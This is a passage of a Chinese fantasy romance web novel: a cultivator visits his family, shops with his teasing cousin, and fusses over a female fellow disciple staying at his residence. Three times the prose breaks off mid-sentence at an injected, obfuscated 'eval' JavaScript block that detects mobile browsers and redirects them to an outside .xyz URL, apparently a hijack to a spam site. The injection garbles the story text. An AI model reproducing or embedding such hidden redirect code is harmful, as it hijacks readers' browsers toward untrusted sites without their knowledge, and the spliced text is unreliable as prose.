毕竟六年没回家,总不能空着手回去见二老,强身健体的丹药柳逸直早就备好了,他还打算去万象斋买点人参、燕窝之类的补品,还有给柳意欢和没见过面的外甥女的小孩玩具。 柳家人丁并不兴旺,外祖母去世得早,和外祖父只有舅父和母亲两个孩子,母亲只生了他一个,舅父倒是有三个孩子,分别是长子柳问、次子柳诉和幺女柳意欢。柳问考上状元当了官,柳诉继承了家业,柳意欢比柳逸直小三岁,只当个无忧无虑的大小姐。柳逸直排行第三,人称一声柳三公子,不过这也是六岁之前的事情了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023371|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹娘亡故以后他就去了山到源,虽然书信从未间断,但他只有十年前外祖过世和六年前柳问娶妻时回来过。 午后,柳逸直提着大包小包敲响了柳宅的大门,朱红大门一开,柳宅所有人整整齐齐站在门内,乌泱泱几十人,瞧这架势,不知道的还以为在迎接来传圣旨的公公呢,吓得柳逸直连忙将大门给关上了。 除了回娘家省亲的大嫂和外甥女,其余人都到齐了,就连在刑部当值的柳问也告了假,专门来迎接他这个离家久未归的三弟。 年逾半百的舅父柳晋板着一张脸,任谁都能听出来他话语里的阴阳怪气:“山到源的仙长能大驾光临,真是让寒舍蓬荜生辉啊!” 他瞪了身后的管家一眼,道:“傻站着干什么,还不快请仙长上座!” 管家只觉得头皮发麻,他跟在柳晋身边几十年了,当然知道他这是在说气话,还不等他想出来一个两全其美的办法,柳晋便被夫人郑妙狠狠跺了一脚。 郑妙保养得好,从容貌上一点也看不出来她生了三个孩子,她将满脸吃痛的柳晋一把推开,握住柳逸直的手,笑道:“逸直你莫管他,这死老头子就是皮子痒,修仙辛苦坏了吧?今天舅母亲自下厨,给你炖肘子吃。” 柳逸直笑道:“不辛苦的,舅母,让您担心了。”他将准备好的面脂拿了出来,“这是我同门炼制的,可以美容养颜,还望舅母不要嫌弃。” 郑妙立即心花怒放地将东西接了过来,喜滋滋地摸了又摸,笑道:“你这孩子,人回来就行了,还带什么礼物。” 一身黄裙的柳意欢从人群中挤了进来,朝柳逸直伸出手,眼睛亮晶晶地看着他:“三哥,我的呢!” 柳诉在柳意欢的头上按了一把,一脸不耐道:“你个天天闯祸的小丫头片子,还伸手要礼物?知不知道这个月我赔了多少银子!” 柳意欢抬手打掉柳诉的手,一脸不服气道:“那是他们欺人太甚,我又没做错!” 身为大哥的柳问向来是唱红脸那个,他将弟弟和妹妹分开,满脸无奈:“你们两个能不能别再吵了,让大哥我省省心行吗?” 他朝柳逸直眨了眨眼睛,柳逸直立即将东西都掏了出来。 “养气丹,给舅父的灵酒,给二哥的防身袖弩,给小妹的到了夜里会自动发光的宫灯,还有给大哥的……” 柳问连忙摆手:“我就不必了。” 柳逸直看他一眼:“给阿璇的机关鸟,又不是给你玩的。” 柳问顿时心花怒放:“给囡囡的呀?那大哥就不客气了。” 只一眼柳逸直就知道自己这个大哥已经进化成女儿奴了。 柳意欢提着宫灯一脸的不高兴,“我都二十岁了,三哥怎么还给我买小孩玩意?” 柳逸直愣了一下,“可你小时候不是最喜欢这些小玩意了吗?” 柳意欢跺了跺脚,气道:“你也知道那是小时候!” 因为年岁相差不大,柳意欢小时候最喜欢跟在柳逸直屁股后面跑,一有不顺心的事情就躺在地上毫无顾忌地大哭,可把柳逸直累得够呛,直到现在都心有余悸,他只好无奈妥协:“那你喜欢什么?” 见计谋得逞,柳意欢立即笑了出来,“我要琳琅阁新出的首饰!” 柳逸直把钱袋子递过去,“那你带着丫鬟去逛吧,看上哪个买哪个。” 柳意欢一把拽住柳逸直的胳膊就将他往外拉,“带着丫鬟去多没意思,三哥陪我吧!正好你也很久没回来了,小妹带你逛一逛这卧泉城!” 柳意欢不由分说就将柳逸直拽走了,徒留其余人在风中凌乱。 柳晋揭开酒坛饮了一口,砸吧着嘴道:“仙人的酒也不过如此嘛。” 柳问和柳诉则朝柳逸直投去了一个讳莫如深的眼神。 69. 源心潮 琳琅阁是楚国最大的首饰铺子,里面不仅卖首饰,珠玉钗环,绫罗绸缎,反正女儿家用到的物件应有尽有,有千金难求的也有物美价廉的,而且从不以貌取人,诚心对待每一位顾客,是个女子都拒绝不了琳琅阁。 这也就意味着琳琅阁女客众多,柳逸直只感觉简直就跟进了盘丝洞似的,到处是姑娘家的欢声笑语,脂粉味一个劲地往他鼻子里钻,他只想找个没人的地方坐着歇歇脚,偏偏柳意欢不放人,非要将他拴在身边,拿起这个问他好不好看,拿起那个问他美不美,偏偏还不能只说一句好看,你得说清楚美在哪里,和上一个相比有何不同,两件则其一的话要选哪个…… 柳逸直总算知道出门前柳问和柳诉朝他投来的目光是何意了——自求多福。 在琳琅阁里来来回回逛了一个半时辰,柳逸直总算觑着柳意欢的脸色猜出了一件她最喜欢的头面首饰,趁着她跟着伙计去挑赠品的功夫,柳逸直瘫坐在了供给客人歇息的椅子上,只觉得陪姑娘家逛街比他修行还累。 好在柳意欢心里藏不住事,是喜是厌全都写在了脸上,要是换成闫扶音那个心机深沉的主还得了,就是猜破了天也猜不透她的心思。 柳逸直心中未免唏嘘。 说起来,他还答应了要赔她一件衣服来着。 这一层正好是卖衫裙的地方,他抬眼梭巡片刻,在一片花花绿绿中瞧见了一抹绯色。 当掌柜将包装好的两个锦盒递到他手中时,柳意欢正好回来了,柳逸直若无其事地将东西塞进了芥子袋里。 她的眼睛上下打量了他一圈,目露审视,“你买什么了?怎么一副做贼心虚的样子。” 柳逸直将手抵在唇边咳嗽一声来掩饰心虚,板起脸道:“好了吗?天都快黑了,再不回去舅父舅母该担心了。” 柳意欢“嘁”了一声,“他们担心个什么劲,就算是三哥不在,也只有我卧泉小霸王欺负别人的份!” 柳逸直笑了一声,“瞧把你能的,还小霸王呢,没一点女孩样。” 柳意欢瘪起嘴,还以为他要说一句“小心以后嫁不出去”,却不料他柳逸直只将一叠厚厚的符纸塞进了她手里。 “输人不输阵,以后出门多带点人,卧泉小霸王没几个跟班可不行。” 柳意欢顿时笑了,亲亲热热地挽着柳逸直的胳膊,撒娇道:“三哥待我真好,你这次要什么时候走呀?” 柳逸直想了一下,反正最近也没什么事,不着急出任务,待在灵气充裕的栖凰山修炼也不是不行,更何况闫扶音那家伙也不知道要闭关多久。 他道:“短时间内不会走。” “真的?!”柳意欢高兴得几乎要跳起来,“那你带我去山里猎狮子呗?我听说栖凰山里不止有狮子,还有长角的黑熊和有两条尾巴的蛇呢!” 柳逸直:“……再说吧。” 他不在的这些年,柳意欢这丫头都经历了些什么?怎么兴趣爱好如此,如此不同寻常? 回家的路上,柳意欢叽叽喳喳说个不停,那张樱桃小嘴就没有合上过,柳逸直从未觉得这个世界如此吵闹,总算捱到了家门口,他率先钻出马车,一溜烟跑进了柳宅。 坐在饭桌前,柳意欢总算消停会了,烛火下她的面容安静柔婉,一举一动尽显大家闺秀风范。 郑妙做了一大桌子菜,柳晋被自家夫人教训了一通,也从柳意欢口中得知柳逸直暂时不会离开的消息,便收起了他横挑鼻子竖挑眼的姿态,开了一坛陈年好酒,邀儿女们同饮。 柳家之人就没有不会喝酒的,美酒开了一坛又一坛,场面逐渐欢络起来,多数时候是他们问,柳逸直答,当然,避开了危险的事情,只挑着有趣的回答。 柳诉哈哈笑道:“小妹刚学会走路的时候,谁哄都不要,就只黏着三弟,走累了就张着胳膊要三弟背,那会三弟人不大,力气倒是不小,硬是背着小妹走了一里地。” 柳问乜了柳诉一眼,哼了一声道:“你还好意思说!还不是你拿毛毛虫吓小妹,把她惹得嗓子都哭哑了,还好三弟摘了花哄她,否则指不定得哭上个三天三夜呢。” 柳诉仰头灌了一口酒,拆穿道:“这不是大哥你出的主意么,可不能赖我!” 柳逸直补充道:“后来大哥还说要给意欢编辫子,结果把意欢的头发扯断了,我们跑了两条街才买到白糖糕把意欢哄好了。” 众人都笑了起来,柳问尴尬地挠了挠头,“这话可不能在你嫂子面前说啊。” 柳意欢的脸上浮起了一丝薄红,她猛地站起来一拍桌子,醉意醺醺地指着两位兄长的鼻子,嘟起嘴道:“你们两个都是一,一丘之貉!” 柳意欢委屈地拉着柳逸直的袖子倒苦水,不让她吃宵夜啦,逼着她去上学啦,桩桩件件直指两位兄长,柳逸直扶着她的胳膊生怕她摔了。 柳意欢醉得不轻,夜也深了,柳晋拍桌宣布散场,三兄弟先送柳意欢回去。 柳意欢使起了小性子,只让柳逸直扶,柳问和柳诉碰一下都不行。 见她这娇蛮的样子,柳问忍不住发愁:“也不知道咱未来的妹夫受不受得了她这性子。” 柳诉看着前面一高一矮两个身影,柳意欢踉踉跄跄东倒西歪,柳逸直却能精准无误地在柳意欢摔倒之前扶她一把,他笑道:“小时候娘不是还和姑姑说要给他们俩订娃娃亲么,要不是后来发生了那么多事情,三弟又去修了仙,说不定他俩娃娃都会跑了。” 说者无意,听者却有心,柳逸直尚未有所表示,柳意欢却忽而清醒了似的,身子一下子站直了,她推开柳逸直的手,直愣愣转过身子,思路清晰地反驳:“我对三哥又没有男女之情,再说了,三哥都有意中人了,说不定早就抱得美人归了!” 柳逸直纳闷地瞥了她一眼:“你在说什么胡话?” 柳意欢斩钉截铁道:“别以为我不知道,你在琳琅阁买了衣裙和首饰,难不成你要自己穿吗?” 一石能激千层浪,柳诉的反应尤为激烈,他一步并两步蹿过来双手握住柳逸直的肩膀,情绪激动道:“什么什么,三弟有意中人了?!是高是矮,是胖是瘦?何许人士?芳龄几何?家里是做什么的?有几个兄弟姐妹?和你一样是修行中人吗?你们进展到哪一步了?对方能接受你没上过几天学,家里只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031822|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几个臭钱吗?” 柳逸直听得一愣一愣的,汗颜道:“二哥的问题是不是太多了?再者,醉鬼的痴话你也信?没有的事。” 柳意欢脸上的那股清醒劲转眼间便被醉意替代,她大着舌头道:“我才没说谎呢,是伙计亲口告诉我的!三哥别这么害羞嘛,说出来让我们兄妹帮你参谋参谋……”她想往柳逸直身上靠,然而脚步愈发虚浮,身子一歪就朝旁边倒去,柳问连忙上前扶住了她。 柳诉紧紧盯着柳逸直的眼睛,义正言辞道:“小妹说的对!知己知彼方能百战百胜!三弟可千万要擦亮眼睛啊,说不定她知道了你是个什么玩意,就不稀得搭理你了,要和你一拍两散呢?” 柳逸直满脸黑线:“在二哥眼里,我这个人就那么不堪吗?” 柳诉的头摇得像拨浪鼓。 “瞧你这话说的,二哥也是怕你被人骗财骗色,竹篮打水一场空啊!再说了,你二哥我还没娶到媳妇呢,你忍心让二哥一个人打光棍吗?” 柳逸直嘴角微抽:“最后一句才是重点吧。” 柳问毫不客气地拆穿道:“前不久老二刚被一个女子抛弃了,伤心了很久呢。” 柳诉晃着柳逸直的肩膀,眼中含泪,字字泣血:“正因为不想你步了二哥的后尘,所以二哥才忍着心中无法磨灭的伤痛和你说这些掏心窝子的话,三弟可千万别不领情啊!” 柳逸直点头道:“小弟谢谢二哥的忠告。” 柳诉嘿嘿笑了起来,在柳逸直的肩上轻轻打了一拳,“那还不如实招来?” 柳逸直心中默默叹了口气,只道:“二哥醉了就早点休息吧。”他打了个响指,便有一阵风推着柳诉的后背,不容拒绝地推着他往院子里走。 柳诉挣扎着扭头看他,放话道:“跑得了和尚跑不了庙,柳逸直,你给我等着!”柳诉骂骂咧咧地被风推走了。 柳逸直蓦地松了口气,然而下一秒柳问的脸便凑了过来,眼中闪着好奇的光芒,“真没有?” 柳逸直没好气道:“大哥也怎么和他们俩一样。” 柳问呵呵地笑:“若真是莫须有的事情,你必然会解释得明明白白来堵他们的嘴,这般遮遮掩掩,倒不像是你的性格。” 柳逸直张了张嘴,却说不出话来。 是啊,为什么不解释?为什么要避而不谈? “因为之前不小心弄坏了她的衣裳,而且也受了她不少照顾,所以买了衣裳首饰权当赔礼和感谢,她只是我的同门,我对她一点心思都没有。” 简简单单几句话就能说清楚的事情,为什么他说不出口?是不想说,不能说,还是因为这并不是他心中的真实想法? 柳问看着柳逸直愣在原地皱眉沉思的样子,心里忍不住想笑。柳意欢已经靠在他肩头睡着了,他弯腰将人背了起来,朝柳逸直道:“更深露重,你也早些回去吧。” 踏踏的脚步声逐渐远去,明月的光辉打在眼前的松树上,在青石板路上投下一个浅淡的阴影,风一吹,松叶沙沙作响,地上的影子也跟着摇摇晃晃,柳逸直感觉自己一向平静的心湖也漾起了一丝丝波澜,久久不能平息。 70. 见明星 翌日巳时,四五架装载着花木的马车不紧不慢地驶出了东城门,往栖凰山的方向驶去。有条不紊的马蹄声和清晨的鸟鸣声交织在一起,柳意欢撩开车帘一看,开得热烈灿烂的浅粉色杏花夹道相迎,略带寒凉的春风吹来了馥郁的香气,她深深吸了一口气,而后猝不及防地打了个喷嚏。 她放下车帘回头一看,男子一身玄黑锦袍,三千墨发用一个祥云纹金冠束在头顶,明媚的阳光从飘起的车帘缝隙之间射进来打在他的半边身子上,浓而长的睫毛好似在发光。 柳逸直看着手中的杳云居平面图,没抬头道:“我说,花匠过来就行了,你跟来做什么?” 柳意欢双手托着腮,一眼不眨地望着他,理所当然道:“我来监工啊!省得那些下人偷奸耍滑,看你孤家寡人一个就蹬鼻子上脸。” 坐在车门口的承平听闻此言,立即道:“监工的活计交给小的来就行了,哪能劳烦小姐跑这一趟!” 柳意欢黑白分明的双眸朝承平斜乜,递去冷冷一记白眼:“有你什么事儿?坐外边吹风去!还有把嘴给本小姐闭上,罚你到杳云居之前都不准说话!” 吓得承平连忙闭紧嘴巴,战战兢兢推开车门坐到了辕座上。 我滴个亲娘嘞,大小姐怎么跟吃了火药似的? 柳逸直叹气道:“你和承平置哪门子的气。” 柳意欢双手环胸翘着二郎腿,冷哼一声:“还不是因为某人遮遮掩掩含糊其辞,对最亲的妹妹也不肯说一句实话,实在是教人心寒。” “我不都和你说了么?就是一个相熟的同门,机缘巧合之下我们一起被传送到栖凰山,所以才邀请她到杳云居养伤,仅此而已。” “仅此而已?”柳意欢气得眉毛乱飞,“既然你和那位姑娘之间什么都没有,那为何还让她住小飞楼?” 小飞楼即是柳逸直让给岚孟住的那座双层小楼。六岁之前和爹娘住在老宅,六岁以后又不常回卧泉,他自己都没怎么住过小飞楼,更是从未有其他人留宿,就连柳问三兄妹来杳云居玩也只能住在客房。 所以这就是柳意欢觉得他和闫扶音有一腿的原因?仅仅是因为他把小飞楼让出去了给她住? 天可怜见的,他对小飞楼真的没什么归属感,不过是一幢房子。 柳逸直暗自腹诽,早知如此就不告诉她了,这丫头心思活络得很,反正闫扶音还在养伤,设下结界不让他们靠近就是了。 他叹了口气,无奈道:“那你待如何?” 柳意欢等的就是他这句话,她立即站了起来,两手按在车厢中间的矮几上,眼睛紧紧盯着柳逸直的脸,不错过他脸上的一丝表情,直言问道:“她姓甚名谁,芳龄几许,家住何方?” “闫扶音,不到一百,不知道。” “不到一百?”柳意欢撅起嘴,“哪有你这么说的啊!这样的话我们都不到一百岁,爹、娘、几位哥哥,我们都是同龄人。” 她忽然想到了什么,面露鄙夷,“莫非你不知道准数?” 柳逸直淡淡地“嗯”了一声,从袖中掏出一只笔来在图纸上写写画画。 柳意欢忍俊不禁,这时马车抖了一下,她的身子一个不稳,丫鬟小翠连忙起身扶住她,柳意欢便往后靠,两人一起倒在了柔软坐垫上。 柳意欢捂着嘴偷乐,差点没在车里打滚。 “什么啊,三哥对人家姑娘都不了解,一问三不知的,难怪你什么都不肯说。” 柳逸直扯了扯嘴角。柳意欢这话也没说错话,他确实不了解闫扶音,甚至前不久才知道她真正的名字,至于她的来历,她隐瞒身份潜入山到源有什么目的,她为何要收集苍生泪,为何宁可损耗元气也要和将死的凡人寸微云做交易……一切的一切,他通通不了解。 不过,柳逸直略微勾了勾唇,或许正因如此,他才会被她吸引吧?她不屑一顾的眼神,义无反顾的勇气,人前人后的反差,令他想亲手拨开笼罩在她身上的迷雾,挖掘她温和的面具下潜藏着的是善还是恶,想看她被揭穿真面目后恼羞成怒的表情……咳咳咳,反正就是这样。 昨晚他一夜没睡,翻来覆去思考了很久他对闫扶音到底抱着什么样的感情。若说爱么,倒是不至于;喜欢么,好像也有一点点,毕竟他这些年清心寡欲,也没有和哪个女子走得这般近过,对一个长得挺好、人也不赖的姑娘有好感也是人之常情。 马车又颠簸了一下,思绪猛然回神,柳逸直对上了一双圆溜溜的大眼睛,视线往外扩大,他发觉柳意欢一脸不可言喻、难以言说的表情。 他皱起眉:“你这什么表情?”就像是终于吃到了心心念念的梅子,原以为它有多美味,咬了一口却发现也不过如此。 柳意欢“哼”了一声,转过头别开脸,撩开车帘看风景,一副“我才不想和你说话”的样子。 她可不会说他方才一副癞蛤蟆想吃天鹅肉的傻样。 柳逸直不明所以地收回了目光,继续在图纸上写写画画。 马车笃笃驶进了山林,不一会儿,马车忽然停了下来。 柳逸直伸手撩开车帘抬眼望去,只见侧方斜来的山道上有两个大汉一前一后扛着一根数丈长的圆木。 明明眼下还是春天,料峭春风拂在身上还能感受到丝丝缕缕的浸骨寒意,然而那两人却光着膀子,裤子只有一层薄薄的布料,肩背上源源不断淌出汗水,即使被汗迷了眼睛,他们也只能用搭在肩上脏兮兮的汗巾揩一把,然后继续朝前走去。像他们这样扛着圆木的人还有很多,陆陆续续从深山之中走出来,每一个都汗流浃背,苦不堪言。 柳逸直放出神识往他们来的方向追去,只见深山之中有一个巨大的伐木场,一棵棵梧桐树倒下,一把把斧头举起来,除了砍树的,还有用锯子将倒下的梧桐树锯成一定长度的圆木的,给圆木剥皮、打磨的,粗略一看应有两百余人,几乎都是光着膀子的青壮年,甚至还有手脚都戴着镣铐、脸上刺了字的囚犯在角落里伐树,他们个个瘦骨嶙峋,面颊深深凹陷,眼中没有一点神采,只机械地重复着砍树的动作,而他们身边还有满脸凶样的衙役,只要动作一停,衙役手中的鞭子就会狠狠给他们一鞭,个别囚犯身上依旧皮开肉绽,惨不忍睹。 神识调转方向往下方飘去,来到了那座地下之水破土而出形成的有千顷之广的湖泊,桐泉湖。湖畔被开凿了一块宽敞的地基,一座十丈高塔拔地而起,颇具雏形,汗流浃背的汉子们正一块一块将石头往上背,身穿公服的官吏们在地面上来回巡查,汉子的吆喝声和呐喊声此起彼伏,一派热火朝天的景象。 柳逸直皱眉问道:“这塔是什么时候开始建的?” 此地距离杳云居还有五里地的距离,昨日出门的时候他也没有走这条大路,所以并未察觉到这里竟然在建塔。 柳意欢诧异地望了他一眼,如实回答道:“去年就开工动土了,后来因为雪灾搁置了几个月,前几日才继续动工。” “是楚国皇帝下的旨?” 柳意欢轻嗤道:“不然还能是谁?陛下专宠凝贵妃,为了她不惜大兴土木建造逐月塔,斩了好几个直言进谏的臣子,我看楚国的基业迟早要被他给败光了,还不如让文皇后执政呢。” 柳逸直皱眉:“慎言。” 柳意欢不以为意地耸耸肩:“怕什么?狗皇帝又听不到。” 她补充道:“你放心好了,在外人面前我可不会这么口无遮拦,不逞一时口舌之快的道理我还是晓得的。” 柳逸直无奈叹气,扬声道:“继续走吧。” 马车笃笃向前行驶,一炷香后便来到了杳云居。 大门口,所有花木都卸下了马车,沿着墙根摆了两排,两个花匠和八个小厮端端正正背着手站成了一列。 柳逸直给两位懂行的花匠和承平都发了一份标注过的杳云居平面图,叮嘱他们不要去小飞楼附近,以及不要大声喧哗以后便让他们忙去了,花匠立即组织小厮们把花木搬进院子里,种花大业如火如荼地进行。 柳意欢嘴上说着是来监工,可其实活都交给承平干了,她自己则带着丫鬟在杳云居内到处转悠,不多时就没了踪影。 柳逸直还要修复残缺的阵法,没功夫管她,也只能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038507|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随她去了。 他担忧地看了一眼半山腰的小飞楼,心想应该没那么快出关吧?他又设下了一层隔音的结界,外面的动静应该打扰不到她,嗯,应该。 于是柳逸直便猫进犄角旮旯里修复阵法去了。 “小姐,三少爷不是不让我们靠近小飞楼吗?”小翠怀里抱着一把小锄头,跟在柳意欢身后面带愁容地问。 柳意欢猫着腰,把手放在唇前“嘘”了一声,压低嗓音道:“我们又不进去,就隔远点看一眼,三哥不会知道的。” 两人蹑手蹑脚地穿过竹林之中的九曲回廊,走过月洞门,来到了假山之下。 趴在太湖石假山上,柳意欢踮着脚往斜上方的小飞楼望去,正好有一株横斜过来的腊梅挡住了她的视线,任她怎么踮脚也看不到阁楼的全貌。 柳意欢改了心思:“我们回去。” 小翠心花怒放:“不偷窥了?” 柳意欢:“去竹林那里,从回廊上应该看得见。” 小翠如霜打的茄子一般蔫。 两人原路返回,不一会儿柳意欢便找到了一个绝佳的偷窥地,位于九曲回廊的尽头,和小飞楼隔空相望,正好能将整座阁楼纳入眼中。 柳意欢蹲在竹林里,握着小锄头假装自己在挖竹笋,实则一门心思注视着对面阁楼的动静。毫无成效地刨了一会地以后,柳意欢把头偏向身侧的小翠,眼睛则直直看着阁楼,她道:“翠儿啊,你说那姑娘到底是个什么样的女子?” 仅有的一把锄头在柳意欢手里,但觉得不能让小姐干活而自己在一旁看着的小翠也蹲了下来,两手百无聊赖地撕着地上的枯竹叶,她搜刮了肚子里的墨水,猜测道:“想必是个沉鱼落雁、闭月羞花的女子吧。” “肤浅!” 柳意欢重重锄了一下地,语重心长道:“翠儿啊,看人不能只看外表的,若一个人的心是黑的,那她长得再好看又有什么用?你得擦亮眼睛啊,否则被人吃干抹净了都不知道。” 小翠了悟:“是,小姐!” “像我三哥这样优秀的男人,也只有同样风采卓绝,才惊四筵的姑娘才配得上他!” 小翠表示完全赞同:“没错!” “要是她无德也无颜,那我们就绝对不能同意这门婚事!” “不同意!” 主仆二人蹲在地上蛐蛐了半天,当然主要是柳意欢叨叨叨,捧哏小翠好好好。 腿蹲麻了,柳意欢站起来活动了一下,眼睛望着小飞楼,目光却飘向了远方,低语呢喃着:“三哥的世界,到底是什么样的呢……” 柳意欢的心中生出了几分惆怅,她想象着自己手中的不是锄头而是刀剑,有模有样地比划起了“剑舞”,口中还念念有词:“修仙之人嘛,必定是气贯长虹,出凡入胜,西上莲花山,迢迢见明星……” 她单手拎着锄头,在空中轻柔而缓慢地划过半圆形的轨迹,同时身子慢慢往后转,“素手把芙蓉,虚步蹑太……”① 最后一个字落下之前,她半个身子已经转了回来,自然也看见了悄无声息站在自己背后的女子。 她穿着一身宽宽松松的月白衣袍,一头乌黑长发垂落至膝弯,发尾随着清风微微飘动,若即若离地撩拨着横斜在她腿边的一枝青竹,她双手环胸,懒洋洋地靠在朱红廊柱上,朱唇粉面,圆圆的漆黑杏眼中含着一抹好整以暇的笑意,她勾起唇,嗓音如春日刚解冻的山间泉水一般好听。 “你是柳逸直的妹妹?” “……清。” 柳意欢愣愣地吐出了最后一个字,手上一松,锄头没了禁锢,便径直落了下去。 “小姐!脚!” 小翠的惊呼传入耳中,柳意欢猛然回神,然而她本就只别扭地转回了上半身,手忙脚乱之下没能及时将腿缩回来,她似乎听到了锄头砸在脚尖的沉重响声。 柳意欢紧紧闭上了眼睛,然而预想中的疼痛迟迟没有到来,她睁开一只眼,望见锄头悬浮在空中,离她的脚背只隔着一个手指头的距离,锄头自己往旁边挪了一下,然后“哐当”一声掉在了地上。 71. 出头鸟 岚孟看了看面前呆若木鸡的两人,心想这两人怎么了?为什么盯着她沉默不语?难道她的穿着打扮很失礼吗? 岚孟低头看了看,衣服还行吧,哦,没穿鞋。她面不改色地从芥子袋里掏出一双绣花鞋穿上了,弯腰时发尾轻扫地面,却没有带起一丝尘埃。 她看了柳意欢一眼,提醒道:“你这样扭着,身子不会酸吗?” 柳意欢如梦初醒,连忙摆正了身子,伸手在略微酸痛的背上揉了揉,问道:“你就是闫扶音?三哥不是说你在养伤闭关吗?” 她忽然想到了什么,顿时虎躯一震,忐忑道:“不会是被我们吵醒了吧?” 岚孟摇摇头:“天未亮我就醒了。”她瞥了一眼躺在地上的锄头,心想还是不打扰她们了,于是抬腿往九曲回廊深处走去。 柳意欢连忙追了上去,小翠也拾起锄头跟上。 “你只穿这么薄,不会冷吗?”身穿夹袄还披着狐裘的柳意欢跟在岚孟身后这么问。 岚孟淡淡道:“不冷。” “你的头发好长呀。” 又黑又亮,手感一定很好。 岚孟道:“刚长的,原来没这么长。” 春神神使可不只是一个名头这么简单,待春天一到,她就得用自身之力消融冰雪、唤醒大地,让万物复苏,让庄稼、草木蓬勃生长,头发迅速长长就是动用神使之力的表现。 柳意欢似懂非懂地点了点头,她当然想不到岚孟所说的“刚刚”其实只有睡在小飞楼的半个月而已。 “闫姑娘家住何方呀?” 岚孟答:“折梅乡附近?” “折梅乡?没听说过哎。我最远也只去过百里外的酒庄,闫姑娘的家离这里远吗?” 岚孟道:“千八百里吧。” 察觉到前面的姑娘在往大门口的方向走,柳意欢心里“咯噔”一声,她不会是要离开了吧?心里这样想着,嘴上也就问了出来。 岚孟点头称是,“有些事情要办。” 她瞥了亦步亦趋跟着自己走了一路的柳意欢一眼,直言问道:“你有什么事吗?” 柳意欢立马挺直了腰杆,她讪讪地挠了挠鬓角,笑道:“哈哈,我这不是,嗯,对,你是客人,三哥又不知道死哪去了,我也算是杳云居的半个主人,总得尽一点地主之谊嘛。闫姑娘要去办什么事?要去卧泉城里吗?卧泉城我熟得很!就没有我柳意欢不知道的地方!” 岚孟婉拒道:“多谢柳小姐好意,我自己去就行了。” 柳意欢心中警铃大作,无声呐喊:三哥怎么还不来啊!你的意中人就要跑了! 似乎是听到了柳意欢的呼唤,柳逸直终于从犄角旮旯里钻了出来,大步流星朝几人走来,他在岚孟面前站定,本想若无其事地问候一句,比如养好伤了吗?在杳云居住得还习惯吗?有没有缺什么东西……然而话吐出口却成了:“你头发怎么忽然变得这么长?” 柳逸直咬牙忍住了自己想要无奈扶额的动作。 这张嘴到底怎么回事?还能不能好好说话了!心脏也扑通扑通跳个不停,到底在搞什么啊! 岚孟本想回一句“想长就长你管那么多”,但转念一想,自己现在还借住在人家家里,在妹妹面前落他的面子不太好,话到喉头便改成了“因为春天已经来了”。 这话前言不着后语,柳逸直倒是立即会意,她是木灵化身,春天又是草长莺飞的季节,头发自然也像野草一般一茬一茬地生长。 他悄悄掐了大腿一把,让急促跳动的心脏平静下来,扬起笑脸:“那要剪掉吗?” 他到底在说什么啊!天杀的,到底是谁把他的口齿伶俐给偷走了!谁会问自己有好感的女子要不要把头发剪掉啊! 柳逸直连忙找补:“我的意思是,你以前不是短发么,忽而留了长头发会不会不自在,不是,不方便……” 岚孟丝毫没听出来柳逸直语气里的慌乱,她伸手捋了捋搭在肩上的青丝,将手臂伸长了也捋不到尽头,心想确实不太方便。 她解释道:“就算剪了也还会长的,等春天过完再说吧。” 柳逸直蓦地松了口气,她没生气就好。他悄悄舒了一口气,心中活蹦乱跳的小鹿也消停了下来,他总算找到了自己的嘴,唇角微微勾起,露出一个不会出错的笑容来。 “你有事情要办?需要我陪同吗?” 岚孟摇头:“不必。” 柳逸直觑着她的脸色,道:“我打算在阁楼里放几盆花草,顺便清洗打扫一下,可能要花费几个时辰时间,天黑之前应该能完成。” 岚孟点头:“行,随你。”她没有再多言,转身朝门口走去,不多时便没了踪影。 很好,看来她暂时还不会离开,不枉他费尽心机将方圆五里的木灵气都引到了小飞楼。 柳逸直只觉得春光明媚,心情舒畅,然而他一扭头便看见了柳意欢耐人寻味的表情,他掩唇咳了一声,正色道:“怎么了?” 柳意欢嗤笑一声:“三哥,你要是再继续这样说话,是一辈子都讨不着媳妇的。” 柳逸直白她一眼,双手环胸道:“这就不用你操心了,我自有分寸,你就别掺合了。” 柳意欢一点也不信:“真的假的?把你的馊主意说出来,让小妹给三哥参谋参谋。” 柳逸直嫌弃地摆手,“一边玩去,我还有正事要忙呢,没功夫和你胡闹。” “我看三哥就是不敢说吧!又或者是你自己都知道这不是什么好计策,所以才难以启齿?” “我可不吃激将法这一套,有这功夫你还不如去帮二哥,照他那个脑子,恐怕是追不回意中人的心。” “好啊你,竟然怀疑二哥的智商?你给我等着,看我不去找二哥告状去!我要告诉他,你骂他蠢笨如猪,是整天只会喝酒的酒囊饭袋,不学无术,难怪会被女子抛弃!” 